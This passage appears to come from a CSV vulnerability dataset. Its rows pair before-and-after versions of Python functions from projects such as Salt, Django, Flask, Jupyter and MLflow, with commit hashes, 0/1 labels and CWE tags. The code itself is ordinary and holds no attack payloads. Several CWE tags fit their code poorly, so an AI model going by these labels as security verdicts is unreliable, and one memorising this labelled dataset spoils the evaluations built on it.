                if _skip_explicit[0] <= now <= (_skip_explicit[0] + loop_interval):
                    if self.skip_function:
                        data['run'] = True
                        data['func'] = self.skip_function
                    else:
                        data['_skip_reason'] = 'skip_explicit'
                        data['_skipped_time'] = now
                        data['_skipped'] = True
                        data['run'] = False
            else:
                data['run'] = True
            return data

        def _handle_skip_during_range(job, data, loop_interval):
            '''
            Handle schedule item with skip_explicit
            '''
            if not _RANGE_SUPPORTED:
                data['_error'] = ('Missing python-dateutil. '
                                  'Ignoring job {0}.'.format(job))
                log.error(data['_error'])
                return data
            else:
                if isinstance(data['skip_during_range'], dict):
                    start = data['skip_during_range']['start']
                    end = data['skip_during_range']['end']
                    if not isinstance(start, datetime.datetime):
                        try:
                            start = dateutil_parser.parse(start)
                        except ValueError:
                            data['_error'] = ('Invalid date string for start in '
                                              'skip_during_range. Ignoring '
                                              'job {0}.'.format(job))
                            log.error(data['_error'])
                            return data
                    if not isinstance(end, datetime.datetime):
                        try:
                            end = dateutil_parser.parse(end)
                        except ValueError:
                            data['_error'] = ('Invalid date string for end in '
                                              'skip_during_range. Ignoring '
                                              'job {0}.'.format(job))
                            log.error(data['_error'])
                            return data

                    # Check to see if we should run the job immediately
                    # after the skip_during_range is over
                    if 'run_after_skip_range' in data and \
                       data['run_after_skip_range']:
                        if 'run_explicit' not in data:
                            data['run_explicit'] = []
                        # Add a run_explicit for immediately after the
                        # skip_during_range ends
                        _run_immediate = (end + loop_interval).strftime('%Y-%m-%dT%H:%M:%S')
                        if _run_immediate not in data['run_explicit']:
                            data['run_explicit'].append({'time': _run_immediate,
                                                         'time_fmt': '%Y-%m-%dT%H:%M:%S'})

                    if end > start:
                        if start <= now <= end:
                            if self.skip_function:
                                data['run'] = True
                                data['func'] = self.skip_function
                            else:
                                data['_skip_reason'] = 'in_skip_range'
                                data['_skipped_time'] = now
                                data['_skipped'] = True
                                data['run'] = False
                        else:
                            data['run'] = True
                    else:
                        data['_error'] = ('schedule.handle_func: Invalid '
                                          'range, end must be larger than '
                                          'start. Ignoring job {0}.'.format(job))
                        log.error(data['_error'])
                        return data
                else:
                    data['_error'] = ('schedule.handle_func: Invalid, range '
                                      'must be specified as a dictionary. '
                                      'Ignoring job {0}.'.format(job))
                    log.error(data['_error'])
                    return data
            return data

        def _handle_range(job, data):
            '''
            Handle schedule item with skip_explicit
            '''
            if not _RANGE_SUPPORTED:
                data['_error'] = ('Missing python-dateutil. '
                                  'Ignoring job {0}'.format(job))
                log.error(data['_error'])
                return data
            else:
                if isinstance(data['range'], dict):
                    start = data['range']['start']
                    end = data['range']['end']
                    if not isinstance(start, datetime.datetime):
                        try:
                            start = dateutil_parser.parse(start)
                        except ValueError:
                            data['_error'] = ('Invalid date string for start. '
                                              'Ignoring job {0}.'.format(job))
                            log.error(data['_error'])
                            return data
                    if not isinstance(end, datetime.datetime):
                        try:
                            end = dateutil_parser.parse(end)
                        except ValueError:
                            data['_error'] = ('Invalid date string for end.'
                                              ' Ignoring job {0}.'.format(job))
                            log.error(data['_error'])
                            return data
                    if end > start:
                        if 'invert' in data['range'] and data['range']['invert']:
                            if now <= start or now >= end:
                                data['run'] = True
                            else:
                                data['_skip_reason'] = 'in_skip_range'
                                data['run'] = False
                        else:
                            if start <= now <= end:
                                data['run'] = True
                            else:
                                if self.skip_function:
                                    data['run'] = True
                                    data['func'] = self.skip_function
                                else:
                                    data['_skip_reason'] = 'not_in_range'
                                    data['run'] = False
                    else:
                        data['_error'] = ('schedule.handle_func: Invalid '
                                          'range, end must be larger '
                                          'than start. Ignoring job {0}.'.format(job))
                        log.error(data['_error'])
                        return data
                else:
                    data['_error'] = ('schedule.handle_func: Invalid, range '
                                      'must be specified as a dictionary.'
                                      'Ignoring job {0}.'.format(job))
                    log.error(data['_error'])
                    return data

        def _handle_after(job, data):
            '''
            Handle schedule item with after
            '''
            if not _WHEN_SUPPORTED:
                data['_error'] = ('Missing python-dateutil. '
                                  'Ignoring job {0}'.format(job))
                log.error(data['_error'])
            else:
                after = data['after']
                if not isinstance(after, datetime.datetime):
                    after = dateutil_parser.parse(after)

                if after >= now:
                    log.debug(
                        'After time has not passed skipping job: %s.',
                        data['name']
                    )
                    data['_skip_reason'] = 'after_not_passed'
                    data['_skipped_time'] = now
                    data['_skipped'] = True
                    data['run'] = False
                else:
                    data['run'] = True
            return data

        def _handle_until(job, data):
            '''
            Handle schedule item with until
            '''
            if not _WHEN_SUPPORTED:
                data['_error'] = ('Missing python-dateutil. '
                                  'Ignoring job {0}'.format(job))
                log.error(data['_error'])
            else:
                until = data['until']
                if not isinstance(until, datetime.datetime):
                    until = dateutil_parser.parse(until)

                if until <= now:
                    log.debug(
                        'Until time has passed skipping job: %s.',
                        data['name']
                    )
                    data['_skip_reason'] = 'until_passed'
                    data['_skipped_time'] = now
                    data['_skipped'] = True
                    data['run'] = False
                else:
                    data['run'] = True
            return data

        schedule = self._get_schedule()
        if not isinstance(schedule, dict):
            raise ValueError('Schedule must be of type dict.')
        if 'skip_function' in schedule:
            self.skip_function = schedule['skip_function']
        if 'skip_during_range' in schedule:
            self.skip_during_range = schedule['skip_during_range']
        if 'enabled' in schedule:
            self.enabled = schedule['enabled']

        _hidden = ['enabled',
                   'skip_function',
                   'skip_during_range']
        for job, data in six.iteritems(schedule):

            # Skip anything that is a global setting
            if job in _hidden:
                continue

            # Clear these out between runs
            for item in ['_continue',
                         '_error',
                         '_skip_reason']:
                if item in data:
                    del data[item]
            run = False

            if not isinstance(data, dict):
                log.error(
                    'Scheduled job ""%s"" should have a dict value, not %s',
                    job, type(data)
                )
                continue
            if 'function' in data:
                func = data['function']
            elif 'func' in data:
                func = data['func']
            elif 'fun' in data:
                func = data['fun']
            else:
                func = None
            if func not in self.functions:
                log.info(
                    'Invalid function: %s in scheduled job %s.',
                    func, job
                )
            if 'name' not in data:
                data['name'] = job

            if '_next_fire_time' not in data:
                data['_next_fire_time'] = None

            if '_splay' not in data:
                data['_splay'] = None

            if 'run_on_start' in data and \
                    data['run_on_start'] and \
                    '_run_on_start' not in data:
                data['_run_on_start'] = True

            if not now:
                now = datetime.datetime.now()

            # Used for quick lookups when detecting invalid option
            # combinations.
            schedule_keys = set(data.keys())

            time_elements = ('seconds', 'minutes', 'hours', 'days')
            scheduling_elements = ('when', 'cron', 'once')

            invalid_sched_combos = [set(i)
                    for i in itertools.combinations(scheduling_elements, 2)]

            if any(i <= schedule_keys for i in invalid_sched_combos):
                log.error(
                    'Unable to use ""%s"" options together. Ignoring.',
                    '"", ""'.join(scheduling_elements)
                )
                continue

            invalid_time_combos = []
            for item in scheduling_elements:
                all_items = itertools.chain([item], time_elements)
                invalid_time_combos.append(
                    set(itertools.combinations(all_items, 2)))

            if any(set(x) <= schedule_keys for x in invalid_time_combos):
                log.error(
                    'Unable to use ""%s"" with ""%s"" options. Ignoring',
                    '"", ""'.join(time_elements),
                    '"", ""'.join(scheduling_elements)
                )
                continue

            if 'run_explicit' in data:
                data = _handle_run_explicit(data, loop_interval)
                run = data['run']

            if True in [True for item in time_elements if item in data]:
                data = _handle_time_elements(data)
            elif 'once' in data:
                data = _handle_once(job, data, loop_interval)
            elif 'when' in data:
                data = _handle_when(job, data, loop_interval)
            elif 'cron' in data:
                data = _handle_cron(job, data, loop_interval)
            else:
                continue

            # An error occurred so we bail out
            if '_error' in data and data['_error']:
                continue

            seconds = int((data['_next_fire_time'] - now).total_seconds())

            if 'splay' in data:
                # Got ""splay"" configured, make decision to run a job based on that
                if not data['_splay']:
                    # Try to add ""splay"" time only if next job fire time is
                    # still in the future. We should trigger job run
                    # immediately otherwise.
                    splay = _splay(data['splay'])
                    if now < data['_next_fire_time'] + datetime.timedelta(seconds=splay):
                        log.debug('schedule.handle_func: Adding splay of '
                                  '%s seconds to next run.', splay)
                        data['_splay'] = data['_next_fire_time'] + datetime.timedelta(seconds=splay)
                        if 'when' in data:
                            data['_run'] = True
                    else:
                        run = True

                if data['_splay']:
                    # The ""splay"" configuration has been already processed, just use it
                    seconds = data['_splay'] - now
                    seconds = (data['_splay'] - now).total_seconds()

            if '_seconds' in data:
                if seconds <= 0:
                    run = True
            elif 'when' in data and data['_run']:
                if data['_next_fire_time'] <= now <= (data['_next_fire_time'] + loop_interval):
                    data['_run'] = False
                    run = True
            elif 'cron' in data:
                # Reset next scheduled time because it is in the past now,
                # and we should trigger the job run, then wait for the next one.
                if seconds <= 0:
                    data['_next_fire_time'] = None
                    run = True
            elif 'once' in data:
                if data['_next_fire_time'] <= now <= (data['_next_fire_time'] + loop_interval):
                    run = True
            elif seconds == 0:
                run = True

            if '_run_on_start' in data and data['_run_on_start']:
                run = True
                data['_run_on_start'] = False
            elif run:
                if 'range' in data:
                    data = _handle_range(job, data)

                    # An error occurred so we bail out
                    if '_error' in data and data['_error']:
                        continue

                    run = data['run']
                    # Override the functiton if passed back
                    if 'func' in data:
                        func = data['func']

                # If there is no job specific skip_during_range available,
                # grab the global which defaults to None.
                if 'skip_during_range' not in data and self.skip_during_range:
                    data['skip_during_range'] = self.skip_during_range

                if 'skip_during_range' in data and data['skip_during_range']:
                    data = _handle_skip_during_range(job, data, loop_interval)

                    # An error occurred so we bail out
                    if '_error' in data and data['_error']:
                        continue

                    run = data['run']
                    # Override the functiton if passed back
                    if 'func' in data:
                        func = data['func']

                if 'skip_explicit' in data:
                    data = _handle_skip_explicit(data, loop_interval)

                    # An error occurred so we bail out
                    if '_error' in data and data['_error']:
                        continue

                    run = data['run']
                    # Override the functiton if passed back
                    if 'func' in data:
                        func = data['func']

                if 'until' in data:
                    data = _handle_until(job, data)

                    # An error occurred so we bail out
                    if '_error' in data and data['_error']:
                        continue

                    run = data['run']

                if 'after' in data:
                    data = _handle_after(job, data)

                    # An error occurred so we bail out
                    if '_error' in data and data['_error']:
                        continue

                    run = data['run']

            # If the job item has continue, then we set run to False
            # so the job does not run but we still get the important
            # information calculated, eg. _next_fire_time
            if '_continue' in data and data['_continue']:
                run = False

            # If there is no job specific enabled available,
            # grab the global which defaults to True.
            if 'enabled' not in data:
                data['enabled'] = self.enabled

            # Job is disabled, set run to False
            if 'enabled' in data and not data['enabled']:
                log.debug('Job: %s is disabled', job)
                data['_skip_reason'] = 'disabled'
                run = False

            miss_msg = ''
            if seconds < 0:
                miss_msg = ' (runtime missed ' \
                           'by {0} seconds)'.format(abs(seconds))

            try:
                # Job is disabled, continue
                if 'enabled' in data and not data['enabled']:
                    log.debug('Job: %s is disabled', job)
                    data['_skip_reason'] = 'disabled'
                    data['_skipped_time'] = now
                    data['_skipped'] = True
                    continue

                if 'jid_include' not in data or data['jid_include']:
                    data['jid_include'] = True
                    log.debug('schedule: This job was scheduled with jid_include, '
                              'adding to cache (jid_include defaults to True)')
                    if 'maxrunning' in data:
                        log.debug('schedule: This job was scheduled with a max '
                                  'number of %s', data['maxrunning'])
                    else:
                        log.info('schedule: maxrunning parameter was not specified for '
                                 'job %s, defaulting to 1.', job)
                        data['maxrunning'] = 1

                if self.standalone:
                    data['run'] = run
                    data = self._check_max_running(func,
                                                   data,
                                                   self.opts,
                                                   now)
                    run = data['run']

                if run:
                    log.info('Running scheduled job: %s%s', job, miss_msg)
                    self._run_job(func, data)
            finally:
                # Only set _last_run if the job ran
                if run:
                    data['_last_run'] = now
                    if '_seconds' in data:
                        data['_next_fire_time'] = now + datetime.timedelta(seconds=data['_seconds'])
                    data['_splay'] = None"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/migrations/test_commands.py,0,"def test_makemigrations_interactive_accept(self):
        """"""
        Makes sure that makemigrations enters interactive mode and merges properly.
        """"""
        # Monkeypatch interactive questioner to auto accept
        old_input = questioner.input
        questioner.input = lambda _: ""y""
        out = six.StringIO()
        try:
            with self.temporary_migration_module(module=""migrations.test_migrations_conflict"") as migration_dir:
                call_command(""makemigrations"", ""migrations"", merge=True, interactive=True, stdout=out)
                merge_file = os.path.join(migration_dir, '0003_merge.py')
                self.assertTrue(os.path.exists(merge_file))
        except CommandError:
            self.fail(""Makemigrations failed while running interactive questioner"")
        finally:
            questioner.input = old_input
        self.assertIn(""Created new merge migration"", force_text(out.getvalue()))",CWE-Unknown,django/django,e272904ff7cc4d138e316ba2e7811666053860a4,"def test_makemigrations_interactive_accept(self):
        """"""
        Makes sure that makemigrations enters interactive mode and merges properly.
        """"""
        # Monkeypatch interactive questioner to auto accept
        old_input = questioner.input
        questioner.input = lambda _: ""y""
        out = six.StringIO()
        try:
            with self.temporary_migration_module(module=""migrations.test_migrations_conflict"") as migration_dir:
                call_command(""makemigrations"", ""migrations"", merge=True, interactive=True, stdout=out)
                merge_file = os.path.join(migration_dir, '0003_merge.py')
                self.assertTrue(os.path.exists(merge_file))
        except CommandError:
            self.fail(""Makemigrations failed while running interactive questioner"")
        finally:
            questioner.input = old_input
        self.assertIn(""Created new merge migration"", force_text(out.getvalue()))"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/core/docs_utils.py,0,"def get_url(bid):
    # NOTE(tkelsey): for some reason this import can't be found when stevedore
    # loads up the formatter plugin that imports this file. It is available
    # later though.
    from bandit.core import extension_loader

    info = extension_loader.MANAGER.plugins_by_id.get(bid, None)
    if info is not None:
        return BASE_URL + ('plugins/%s.html' % info.plugin.__name__)

    info = extension_loader.MANAGER.blacklist_by_id.get(bid, None)
    if info is not None:
        template = 'blacklists/blacklist_{kind}.html#{id}-{name}'
        info['name'] = info['name'].replace('_', '-')

        if info['id'].startswith('B3'):  # B3XX
            # Some of the links are combined, so we have exception cases
            if info['id'] in ['B304', 'B305']:
                info['id'] = 'b304-b305'
                info['name'] = 'ciphers-and-modes'
            elif info['id'] in ['B313', 'B314', 'B315', 'B316', 'B317',
                                'B318', 'B319', 'B320']:
                info['id'] = 'b313-b320'
            ext = template.format(
                kind='calls', id=info['id'], name=info['name'])
        else:
            ext = template.format(
                kind='imports', id=info['id'], name=info['name'])

        return BASE_URL + ext.lower()

    return BASE_URL",UNKNOWN,PyCQA/bandit,be0483a603407ba8f8110da415161cee26f142b8,"def get_url(bid):
    # NOTE(tkelsey): for some reason this import can't be found when stevedore
    # loads up the formatter plugin that imports this file. It is available
    # later though.
    from bandit.core import extension_loader

    info = extension_loader.MANAGER.plugins_by_id.get(bid, None)
    if info is not None:
        return BASE_URL + ('plugins/%s.html' % info.plugin.__name__)

    info = extension_loader.MANAGER.blacklist_by_id.get(bid, None)
    if info is not None:
        template = 'blacklists/blacklist_{kind}.html#{id}-{name}'
        if info['id'].startswith('B3'):  # B3XX
            ext = template.format(
                kind='calls', id=info['id'], name=info['name'])
        else:
            ext = template.format(
                kind='imports', id=info['id'], name=info['name'])

        return BASE_URL + ext.lower()

    return BASE_URL"
,UNKNOWN,UNKNOWN,providers/microsoft/azure/tests/unit/microsoft/azure/operators/test_synapse.py,1,"def test_run_pipeline_operator_link(self, create_task_instance_of_operator, mock_supervisor_comms):
        ti = create_task_instance_of_operator(
            AzureSynapseRunPipelineOperator,
            dag_id=""test_synapse_run_pipeline_op_link"",
            task_id=AZURE_SYNAPSE_PIPELINE_TASK_ID,
            azure_synapse_conn_id=AZURE_SYNAPSE_CONN_ID,
            pipeline_name=PIPELINE_NAME,
            azure_synapse_workspace_dev_endpoint=AZURE_SYNAPSE_WORKSPACE_DEV_ENDPOINT,
        )

        ti.xcom_push(key=""run_id"", value=PIPELINE_RUN_RESPONSE[""run_id""])
        if AIRFLOW_V_3_0_PLUS and mock_supervisor_comms:
            mock_supervisor_comms.send.return_value = XComResult(
                key=""run_id"",
                value=PIPELINE_RUN_RESPONSE[""run_id""],
            )

        url = ti.task.operator_extra_links[0].get_link(operator=ti.task, ti_key=ti.key)

        EXPECTED_PIPELINE_RUN_OP_EXTRA_LINK = (
            ""https://ms.web.azuresynapse.net/en/monitoring/pipelineruns/{run_id}""
            ""?workspace=%2Fsubscriptions%2F{subscription_id}%2F""
            ""resourceGroups%2F{resource_group}%2Fproviders%2FMicrosoft.Synapse""
            ""%2Fworkspaces%2F{workspace_name}""
        )

        conn = AzureSynapsePipelineHook.get_connection(AZURE_SYNAPSE_CONN_ID)
        conn_synapse_workspace_url = conn.host

        # Extract the workspace_name, subscription_id and resource_group from the Synapse workspace url.
        pipeline_run_object = AzureSynapsePipelineRunLink()
        fields = pipeline_run_object.get_fields_from_url(workspace_url=conn_synapse_workspace_url)

        assert url == (
            EXPECTED_PIPELINE_RUN_OP_EXTRA_LINK.format(
                run_id=PIPELINE_RUN_RESPONSE[""run_id""],
                subscription_id=fields[""subscription_id""],
                resource_group=fields[""resource_group""],
                workspace_name=fields[""workspace_name""],
            )
        )",CWE-703,apache/airflow,accfbc3dc06b73cc0ae3d2d77454ff5669788ae5,"def test_run_pipeline_operator_link(self, create_task_instance_of_operator, mock_supervisor_comms):
        ti = create_task_instance_of_operator(
            AzureSynapseRunPipelineOperator,
            dag_id=""test_synapse_run_pipeline_op_link"",
            task_id=AZURE_SYNAPSE_PIPELINE_TASK_ID,
            azure_synapse_conn_id=AZURE_SYNAPSE_CONN_ID,
            pipeline_name=PIPELINE_NAME,
            azure_synapse_workspace_dev_endpoint=AZURE_SYNAPSE_WORKSPACE_DEV_ENDPOINT,
        )

        ti.xcom_push(key=""run_id"", value=PIPELINE_RUN_RESPONSE[""run_id""])
        if AIRFLOW_V_3_0_PLUS and mock_supervisor_comms:
            mock_supervisor_comms.get_message.return_value = XComResult(
                key=""run_id"",
                value=PIPELINE_RUN_RESPONSE[""run_id""],
            )

        url = ti.task.operator_extra_links[0].get_link(operator=ti.task, ti_key=ti.key)

        EXPECTED_PIPELINE_RUN_OP_EXTRA_LINK = (
            ""https://ms.web.azuresynapse.net/en/monitoring/pipelineruns/{run_id}""
            ""?workspace=%2Fsubscriptions%2F{subscription_id}%2F""
            ""resourceGroups%2F{resource_group}%2Fproviders%2FMicrosoft.Synapse""
            ""%2Fworkspaces%2F{workspace_name}""
        )

        conn = AzureSynapsePipelineHook.get_connection(AZURE_SYNAPSE_CONN_ID)
        conn_synapse_workspace_url = conn.host

        # Extract the workspace_name, subscription_id and resource_group from the Synapse workspace url.
        pipeline_run_object = AzureSynapsePipelineRunLink()
        fields = pipeline_run_object.get_fields_from_url(workspace_url=conn_synapse_workspace_url)

        assert url == (
            EXPECTED_PIPELINE_RUN_OP_EXTRA_LINK.format(
                run_id=PIPELINE_RUN_RESPONSE[""run_id""],
                subscription_id=fields[""subscription_id""],
                resource_group=fields[""resource_group""],
                workspace_name=fields[""workspace_name""],
            )
        )"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/s3.py,0,"def delete(bucket, path=None, action=None):
    '''
    Delete a bucket, or delete an object from a bucket.

    To delete a bucket::

        salt myminion s3.delete mybucket

    To delete an object from a bucket::

        salt myminion s3.delete mybucket remoteobject
    '''
    return _query(method='DELETE',
                  bucket=bucket,
                  path=path,
                  action=action)",,saltstack/salt,50ffe74f66daf9cd46020d5e8a2e13d6c92c07c7,"def delete(bucket, path=None, action=None):
    '''
    Delete a bucket, or delete an object from a bucket.

    To delete a bucket::

        salt myminion s3.delete mybucket

    To upload an object to a bucket::

        salt myminion s3.delete mybucket remoteobject
    '''
    return _query(method='DELETE',
                  bucket=bucket,
                  path=path,
                  action=action)"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/auth/login.py,0,"def post(self):
        typed_password = self.get_argument('password', default=u'')
        if self.get_login_available(self.settings):
            if passwd_check(self.hashed_password, typed_password):
                self.set_login_cookie(self, uuid.uuid4().hex)
            elif self.login_token and self.login_token == typed_password:
                self.set_login_cookie(self, uuid.uuid4().hex)
            else:
                self.set_status(401)
                self._render(message={'error': 'Invalid password'})
                return

        next_url = self.get_argument('next', default=self.base_url)
        self._redirect_safe(next_url)",,jupyter/notebook,5a6d7556af4df3d76b36c8f7591de3bdf0ed54e4,"def post(self):
        typed_password = self.get_argument('password', default=u'')
        if self.get_login_available(self.settings):
            if passwd_check(self.hashed_password, typed_password):
                self.set_login_cookie(self, uuid.uuid4().hex)
            else:
                self.set_status(401)
                self._render(message={'error': 'Invalid password'})
                return

        next_url = self.get_argument('next', default=self.base_url)
        self._redirect_safe(next_url)"
,UNKNOWN,UNKNOWN,tests/backends/oracle/tests.py,1,"def test_hidden_no_data_found_exception(self):
        # ""ORA-1403: no data found"" exception is hidden by Oracle OCI library
        # when an INSERT statement is used with a RETURNING clause (see #28859).
        with connection.cursor() as cursor:
            # Create trigger that raises ""ORA-1403: no data found"".
            cursor.execute(
                """"""
                CREATE OR REPLACE TRIGGER ""TRG_NO_DATA_FOUND""
                AFTER INSERT ON ""BACKENDS_SQUARE""
                FOR EACH ROW
                BEGIN
                    RAISE NO_DATA_FOUND;
                END;
            """"""
            )
        try:
            with self.assertRaisesMessage(
                DatabaseError,
                (
                    'The database did not return a new row id. Probably ""ORA-1403: no '
                    'data found"" was raised internally but was hidden by the Oracle '
                    ""OCI library (see https://code.djangoproject.com/ticket/28859).""
                ),
            ):
                Square.objects.create(root=2, square=4)
        finally:
            with connection.cursor() as cursor:
                cursor.execute('DROP TRIGGER ""TRG_NO_DATA_FOUND""')",CWE-89,django/django,0336aa6672ea91a30ff5ab12b655c0ee6a00fa73,"def test_hidden_no_data_found_exception(self):
        # ""ORA-1403: no data found"" exception is hidden by Oracle OCI library
        # when an INSERT statement is used with a RETURNING clause (see #28859).
        with connection.cursor() as cursor:
            # Create trigger that raises ""ORA-1403: no data found"".
            cursor.execute(
                """"""
                CREATE OR REPLACE TRIGGER ""TRG_NO_DATA_FOUND""
                AFTER INSERT ON ""BACKENDS_SQUARE""
                FOR EACH ROW
                BEGIN
                    RAISE NO_DATA_FOUND;
                END;
            """"""
            )
        try:
            with self.assertRaisesMessage(
                DatabaseError,
                (
                    'The database did not return a new row id. Probably ""ORA-1403: no '
                    'data found"" was raised internally but was hidden by the Oracle '
                    ""OCI library (see https://code.djangoproject.com/ticket/28859).""
                ),
            ):
                Square.objects.create(root=2, square=4)
        finally:
            with connection.cursor() as cursor:
                cursor.execute('DROP TRIGGER ""TRG_NO_DATA_FOUND""')"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/regressiontests/file_storage/tests.py,0,"def test_urllib2_urlopen(self):
        """"""
        Test the File storage API with a file like object coming from urllib2.urlopen()
        """"""

        file_like_object = self.urlopen('/example_view/')
        f = File(file_like_object)
        stored_filename = self.storage.save(""remote_file.html"", f)

        remote_file = self.urlopen('/example_view/')

        with self.storage.open(stored_filename) as stored_file:
            self.assertEqual(stored_file.read(), remote_file.read())",CWE-Unknown,django/django,e4ee3d8fcac987bc91ab9c559f39f52949227b76,"def test_urllib2_urlopen(self):
        """"""
        Test the File storage API with a file like object coming from urllib2.urlopen()
        """"""

        file_like_object = self.urlopen('/example_view/')
        f = File(file_like_object)
        stored_filename = self.storage.save(""remote_file.html"", f)

        stored_file = self.storage.open(stored_filename)
        remote_file = self.urlopen('/example_view/')

        self.assertEqual(stored_file.read(), remote_file.read())"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/discovery/findCaptchas.py,0,"def discover(self, fuzzableRequest ):
        '''
        Find captcha images.
        
        @parameter fuzzableRequest: A fuzzableRequest instance that contains (among other things) the URL to test.
        '''
        # GET the document, and fetch the images
        image_map_1 = self._get_images( fuzzableRequest )
        
        # Re-GET the document, and fetch the images
        image_map_2 = self._get_images( fuzzableRequest )
        
        # Compare the images (different images may be captchas)
        changed_images_list = []
        if image_map_1.keys() != image_map_2.keys():
            for img_src in image_map_1:
                if img_src not in image_map_2:
                    changed_images_list.append( img_src )
        else:
            # Compare content
            for img_src in image_map_1:
                if image_map_1[ img_src ] != image_map_2[ img_src ]:
                    changed_images_list.append( img_src )
                
        for img_src in changed_images_list:
            i = info.info()
            i.setPluginName(self.getName())
            i.setName('Captcha image detected')
            i.setURL( img_src )
            i.setMethod( 'GET' )
            i.setDesc( 'Found a CAPTCHA image at: ""' + img_src + '"".')
            kb.kb.append( self, 'findCaptchas', i )
            om.out.information( i.getDesc() )
            
        return []",,andresriancho/w3af,c1122622227cac1899919aa1e5594d831f6e173f,"def discover(self, fuzzableRequest ):
        '''
        Find captcha images.
        
        @parameter fuzzableRequest: A fuzzableRequest instance that contains (among other things) the URL to test.
        '''
        # GET the document, and fetch the images
        image_map_1 = self._get_images( fuzzableRequest )
        
        # Re-GET the document, and fetch the images
        image_map_2 = self._get_images( fuzzableRequest )
        
        # Compare the images (different images may be captchas)
        changed_images_list = []
        if image_map_1.keys() != image_map_2.keys():
            for img_src in image_map_1:
                if img_src not in image_map_2:
                    changed_images_list.append( img_src )
        else:
            # Compare content
            for img_src in image_map_1:
                if image_map_1[ img_src ] != image_map_2[ img_src ]:
                    changed_images_list.append( img_src )
                
        for img_src in changed_images_list:
            i = info.info()
            i.setName('Captcha image detected')
            i.setURL( img_src )
            i.setMethod( 'GET' )
            i.setDesc( 'Found a CAPTCHA image at: ""' + img_src + '"".')
            kb.kb.append( self, 'findCaptchas', i )
            om.out.information( i.getDesc() )
            
        return []"
,UNKNOWN,UNKNOWN,tests/test_basic.py,1,"def test_session_special_types(app, client):
    app.secret_key = 'development-key'
    now = datetime.utcnow().replace(microsecond=0)
    the_uuid = uuid.uuid4()

    @app.route('/')
    def dump_session_contents():
        flask.session['t'] = (1, 2, 3)
        flask.session['b'] = b'\xff'
        flask.session['m'] = flask.Markup('<html>')
        flask.session['u'] = the_uuid
        flask.session['d'] = now
        flask.session['t_tag'] = {' t': 'not-a-tuple'}
        flask.session['di_t_tag'] = {' t__': 'not-a-tuple'}
        flask.session['di_tag'] = {' di': 'not-a-dict'}
        return '', 204

    with client:
        client.get('/')
        s = flask.session
        assert s['t'] == (1, 2, 3)
        assert type(s['b']) == bytes
        assert s['b'] == b'\xff'
        assert type(s['m']) == flask.Markup
        assert s['m'] == flask.Markup('<html>')
        assert s['u'] == the_uuid
        assert s['d'] == now
        assert s['t_tag'] == {' t': 'not-a-tuple'}
        assert s['di_t_tag'] == {' t__': 'not-a-tuple'}
        assert s['di_tag'] == {' di': 'not-a-dict'}","CWE-502, CWE-703",pallets/flask,62406e667c8004cf0367a3ec5bcbed980cbc32bb,"def test_session_special_types(app, client):
    app.secret_key = 'development-key'
    now = datetime.utcnow().replace(microsecond=0)
    the_uuid = uuid.uuid4()

    @app.after_request
    def modify_session(response):
        flask.session['m'] = flask.Markup('Hello!')
        flask.session['u'] = the_uuid
        flask.session['dt'] = now
        flask.session['b'] = b'\xff'
        flask.session['t'] = (1, 2, 3)
        return response

    @app.route('/')
    def dump_session_contents():
        return pickle.dumps(dict(flask.session))

    client.get('/')
    rv = pickle.loads(client.get('/').data)
    assert rv['m'] == flask.Markup('Hello!')
    assert type(rv['m']) == flask.Markup
    assert rv['dt'] == now
    assert rv['u'] == the_uuid
    assert rv['b'] == b'\xff'
    assert type(rv['b']) == bytes
    assert rv['t'] == (1, 2, 3)"
,UNKNOWN,UNKNOWN,tests/store/model_registry/test_sqlalchemy_store.py,1,"def test_search_model_versions(self):
        # create some model versions
        name = ""test_for_search_MV""
        self._rm_maker(name)
        run_id_1 = uuid.uuid4().hex
        run_id_2 = uuid.uuid4().hex
        run_id_3 = uuid.uuid4().hex
        mv1 = self._mv_maker(name=name, source=""A/B"", run_id=run_id_1)
        self.assertEqual(mv1.version, 1)
        mv2 = self._mv_maker(name=name, source=""A/C"", run_id=run_id_2)
        self.assertEqual(mv2.version, 2)
        mv3 = self._mv_maker(name=name, source=""A/D"", run_id=run_id_2)
        self.assertEqual(mv3.version, 3)
        mv4 = self._mv_maker(name=name, source=""A/D"", run_id=run_id_3)
        self.assertEqual(mv4.version, 4)

        def search_versions(filter_string):
            return [mvd.version for mvd in self.store.search_model_versions(filter_string)]

        # search using name should return all 4 versions
        self.assertEqual(set(search_versions(""name='%s'"" % name)), set([1, 2, 3, 4]))

        # search using run_id_1 should return version 1
        self.assertEqual(set(search_versions(""run_id='%s'"" % run_id_1)), set([1]))

        # search using run_id_2 should return versions 2 and 3
        self.assertEqual(set(search_versions(""run_id='%s'"" % run_id_2)), set([2, 3]))

        # search using the IN operator should return all versions
        self.assertEqual(
            set(
                search_versions(
                    ""run_id IN ('{run_id_1}','{run_id_2}')"".format(
                        run_id_1=run_id_1, run_id_2=run_id_2
                    )
                )
            ),
            set([1, 2, 3]),
        )

        # search IN operator is case sensitive
        self.assertEqual(
            set(search_versions(f""run_id IN ('{run_id_1.upper()}','{run_id_2}')"")),
            set([2, 3]),
        )

        # search using the IN operator with bad lists should return exceptions
        with self.assertRaisesRegex(
            MlflowException,
            (
                r""While parsing a list in the query, ""
                r""expected string value or punctuation, ""
                r""but got different type in list""
            ),
        ) as exception_context:
            search_versions(""run_id IN (1,2,3)"")
        assert exception_context.exception.error_code == ErrorCode.Name(INVALID_PARAMETER_VALUE)

        self.assertEqual(
            set(search_versions(f""run_id LIKE '{run_id_2[:30]}%'"")),
            set([2, 3]),
        )

        self.assertEqual(
            set(search_versions(f""run_id ILIKE '{run_id_2[:30].upper()}%'"")),
            set([2, 3]),
        )

        # search using the IN operator with empty lists should return exceptions
        with self.assertRaisesRegex(
            MlflowException,
            (
                r""While parsing a list in the query, ""
                r""expected a non-empty list of string values, ""
                r""but got empty list""
            ),
        ) as exception_context:
            search_versions(""run_id IN ()"")
        assert exception_context.exception.error_code == ErrorCode.Name(INVALID_PARAMETER_VALUE)

        # search using an ill-formed IN operator correctly throws exception
        with self.assertRaisesRegex(
            MlflowException, r""Invalid clause\(s\) in filter string""
        ) as exception_context:
            search_versions(""run_id IN ("")
        assert exception_context.exception.error_code == ErrorCode.Name(INVALID_PARAMETER_VALUE)

        with self.assertRaisesRegex(
